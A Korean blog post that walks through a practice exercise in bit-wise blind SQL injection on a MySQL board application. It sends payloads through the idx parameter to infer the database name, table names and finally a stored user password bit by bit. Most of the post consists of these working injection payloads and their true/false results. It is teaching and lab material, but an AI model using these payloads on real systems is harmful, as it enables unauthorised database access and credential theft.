Oh! JUN
데이터 추론 기법(비트, MYSQL) 실습 본문
※ 과정
※ 순서
1. 사용자 DB 찾기(board)
2. 테이블 찾기(tb_board)
3. 컬럼 찾기(idx, password)
1. 사용자 DB찾기(board)
1-1. 사용자 DB 문자열 개수
idx=10 and length(database())=5
1-2. 사용자 DB 이름
idx=10 and ascii(substring(database(),1,1))&1=1 | 거짓(오류 발생) 0 | 2진수 : 01100010 10진수 : 98 문자 : 'b' |
idx=10 and ascii(substring(database(),1,1))&2=2 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),1,1))&4=4 | 거짓(오류 발생) 0 | |
idx=10 and ascii(substring(database(),1,1))&8=8 | 거짓(오류 발생) 0 | |
idx=10 and ascii(substring(database(),1,1))&16=16 | 거짓(오류 발생) 0 | |
idx=10 and ascii(substring(database(),1,1))&32=32 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),1,1))&64=64 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),1,1))&128=128 | 거짓(오류 발생) 0 |
- substring(database(),1,1) : database()의 첫번째 문자를
- ascii(substring(database(),1,1)) : 아스키코드로 변환해서
- ascii(substring(database(),1,1))&1=1 : and 연산자를 통해 1(00000001)과 연산해서 1(00000001)이 나오면 참, 아니면 거짓
- 0000 0001 부터 1000 0000까지 한 결과 01100010가 나오고 2진수를 10진수로 변경하면 98이되고 문자로 변경하면 'b'이 된다.
※ 1, 2, 4, ... 128 이유?
0000 0001(2) : 1(10)
0000 0010(2) : 2(10)
0000 0100(2) : 4(10)
.
.
.
1000 0000(2) : 128(10)
※ &1=1, &2=2, &4=4, ... &128=128 이유?
ex)
???? ????
and 0000 0001
-----------------------
0000 0001
한 자리씩 비교하면서 같은 수(1=1, 2=2, 128=128)이 나오면 참이되니까 게시물이 출력될것이고
거짓이면 오류가 뜰거니까 비교해가면서 답을 유추할수 있다.
idx=10 and ascii(substring(database(),2,1))&1=1 | 참(게시글 정상 출력) 1 | 2진수 : 01101111 10진수 : 111 문자 : 'o' |
idx=10 and ascii(substring(database(),2,1))&2=2 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),2,1))&4=4 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),2,1))&8=8 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),2,1))&16=16 | 거짓(오류 발생) 0 | |
idx=10 and ascii(substring(database(),2,1))&32=32 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),2,1))&64=64 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),2,1))&128=128 | 거짓(오류 발생) 0 |
idx=10 and ascii(substring(database(),3,1))&1=1 | 참(게시글 정상 출력) 1 | 2진수 : 01100001 10진수 : 97 문자 : 'a' |
idx=10 and ascii(substring(database(),3,1))&2=2 | 거짓(오류 발생) 0 | |
idx=10 and ascii(substring(database(),3,1))&4=4 | 거짓(오류 발생) 0 | |
idx=10 and ascii(substring(database(),3,1))&8=8 | 거짓(오류 발생) 0 | |
idx=10 and ascii(substring(database(),3,1))&16=16 | 거짓(오류 발생) 0 | |
idx=10 and ascii(substring(database(),3,1))&32=32 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),3,1))&64=64 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),3,1))&128=128 | 거짓(오류 발생) 0 |
idx=10 and ascii(substring(database(),4,1))&1=1 | 거짓(오류 발생) 0 | 2진수 : 01110010 10진수 : 114 문자 : 'r' |
idx=10 and ascii(substring(database(),4,1))&2=2 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),4,1))&4=4 | 거짓(오류 발생) 0 | |
idx=10 and ascii(substring(database(),4,1))&8=8 | 거짓(오류 발생) 0 | |
idx=10 and ascii(substring(database(),4,1))&16=16 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),4,1))&32=32 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),4,1))&64=64 | 참(게시글 정상 출력) 1 | |
idx=10 and ascii(substring(database(),4,1))&128=128 | 거짓(오류 발생) 0 |
idx=10 and ascii(substring(database(),5,1))&1=1 | 거짓(오류 발생) x | 2진수 : 01100100 10진수 : 100 문자 : 'd' |
idx=10 and ascii(substring(database(),5,1))&2=2 | 거짓(오류 발생) x | |
idx=10 and ascii(substring(database(),5,1))&4=4 | 참(게시글 정상 출력) o | |
idx=10 and ascii(substring(database(),5,1))&8=8 | 거짓(오류 발생) x | |
idx=10 and ascii(substring(database(),5,1))&16=16 | 거짓(오류 발생) x | |
idx=10 and ascii(substring(database(),5,1))&32=32 | 참(게시글 정상 출력) o | |
idx=10 and ascii(substring(database(),5,1))&64=64 | 참(게시글 정상 출력) o | |
idx=10 and ascii(substring(database(),5,1))&128=128 | 거짓(오류 발생) x |
#사용자 DB 이름은 'board'
2-1. 테이블 이름 문자열 개수(tb_board)
2-1-1. 테이블 열 개수
(select count(*) from information_schema.tables where table_schema='board')=2
- 테이블 개수는 2개
2-1-2. 테이블 이름 문자열 수
10 and length((select table_name from information_schema.tables where table_schema='board' limit 0,1))=7
- 첫번째 열의 테이블은 7자
10 and length((select table_name from information_schema.tables where table_schema='board' limit 1,1))=8
- 두번째 열의 테이블은 8자
2-2. 테이블 문자열 찾기
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&1=1 | 1 | 2진수 : 01101101 10진수 : 109 문자 : m |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&2=2 | 0 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&4=4 | 1 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&8=8 | 1 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&16=16 | 0 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&32=32 | 1 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&64=64 | 1 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 0,1),1,1))&128=128 | 0 |
- 이하 생략하고 테이블의 첫번째 열은 'members'
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&1=1 | 0 | 2진수 : 01110100 10진수 : 116 문자 : 't' |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&2=2 | 0 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&4=4 | 1 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&8=8 | 0 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&16=16 | 1 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&32=32 | 1 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&64=64 | 1 | |
idx=10 and ascii(substring((select table_name from information_schema.tables where table_schema='board' limit 1,1),1,1))&128=128 | 0 |
- 이하 생략하고 테이블의 두번째 열은 'tb_board'
※ idx=8, password가 tb_board 테이블에 있다는걸 가정하에...
3-1. idx=8인 password의 문자 수
idx=10 and length((select password from board.tb_board where idx=8))=4
3-2. password 확인
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&1=1 | 1 | 2진수 : 00110001 10진수 : 49 문자 : 1 |
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&2=2 | 0 | |
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&4=4 | 0 | |
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&8=8 | 0 | |
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&16=16 | 1 | |
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&32=32 | 1 | |
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&64=64 | 0 | |
idx=10 and ascii(substring((select password from board.tb_board where idx=8),1,1))&128=128 | 0 |
- 이하 생략하고 idx=8의 password는 '1234'이다.
★ 결과
'웹 해킹 > SQL Injection' 카테고리의 다른 글
[DVWA] SQL INJECTION 실습 (Low Level) (0) | 2022.09.04 |
---|---|
데이터 추론 기법(비트, ORACLE) 실습 (0) | 2022.09.01 |
데이터 추론 기법(아스키코드) 실습 (0) | 2022.08.30 |
데이터 추론 기법(순차탐색) 실습(feat. Burp Suite Intruder 활용) (0) | 2022.08.30 |
UNION-BASED 공격이 가능한 아이디 중복 조회 기능에 대한 공격 실습 (0) | 2022.08.28 |